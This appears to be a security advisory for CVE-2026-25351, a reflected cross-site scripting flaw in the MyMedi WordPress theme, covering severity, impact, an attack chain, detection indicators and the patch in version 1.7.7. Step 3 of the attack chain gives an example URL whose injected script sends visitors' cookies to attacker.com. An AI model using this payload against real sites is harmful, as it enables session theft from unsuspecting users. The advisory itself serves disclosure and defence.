CVE-2026-25351: 
WordPress vulnerability analysis and mitigation

CVE-2026-25351 is a Reflected Cross-Site Scripting (XSS) vulnerability in the MyMedi WordPress theme developed by skygroup. The flaw stems from improper neutralization of user-supplied input during web page generation (CWE-79), allowing unauthenticated remote attackers to inject malicious scripts. All versions of the MyMedi theme prior to 1.7.7 are affected. The vulnerability was published on March 25, 2026, and assigned by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High) (Feedly, Patchstack).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). It is a reflected XSS variant, meaning malicious script payloads are embedded in crafted URLs or requests and reflected back to the victim's browser without proper sanitization or encoding. Exploitation requires no authentication and no special privileges, but does require user interaction — specifically, a victim must be tricked into clicking a malicious link. The attack vector is network-based with low attack complexity (Feedly, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, redirection to malicious sites, or defacement of page content as rendered to the victim. The CVSS scope is marked as Changed, indicating the impact can extend beyond the vulnerable component to affect the user's browser environment, with low confidentiality, integrity, and availability impacts (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2026-25351 at this time. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites using the MyMedi theme (versions prior to 1.7.7) via web crawlers, Wappalyzer, or WordPress theme detection tools.
2. Identify vulnerable parameter: Locate a URL parameter or input field within the MyMedi theme that is reflected unsanitized in the HTTP response (e.g., a search or query parameter).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload, such as https://target-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target victim via phishing email, social engineering, or malicious link on another site.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Feedly, Patchstack).

• Network: HTTP requests to WordPress pages with URL parameters containing encoded JavaScript payloads (e.g., <script>, %3Cscript%3E, javascript:, onerror=, onload=); outbound requests from victim browsers to unknown external domains shortly after page load.
• Logs: WordPress or web server access logs showing GET/POST requests with suspicious query strings containing HTML/JavaScript injection patterns targeting MyMedi theme pages.
• Browser/Client-Side: Unexpected redirects or pop-ups on MyMedi-themed WordPress pages; browser developer tools showing script execution from unexpected origins.

The vendor (skygroup) has released version 1.7.7 of the MyMedi WordPress theme, which addresses this vulnerability. Site administrators should update the MyMedi theme to version 1.7.7 or later immediately. As a temporary workaround prior to patching, consider implementing a Web Application Firewall (WAF) with XSS filtering rules to block malicious reflected input. There are no known configuration-only mitigations that fully remediate the vulnerability (Feedly, Patchstack).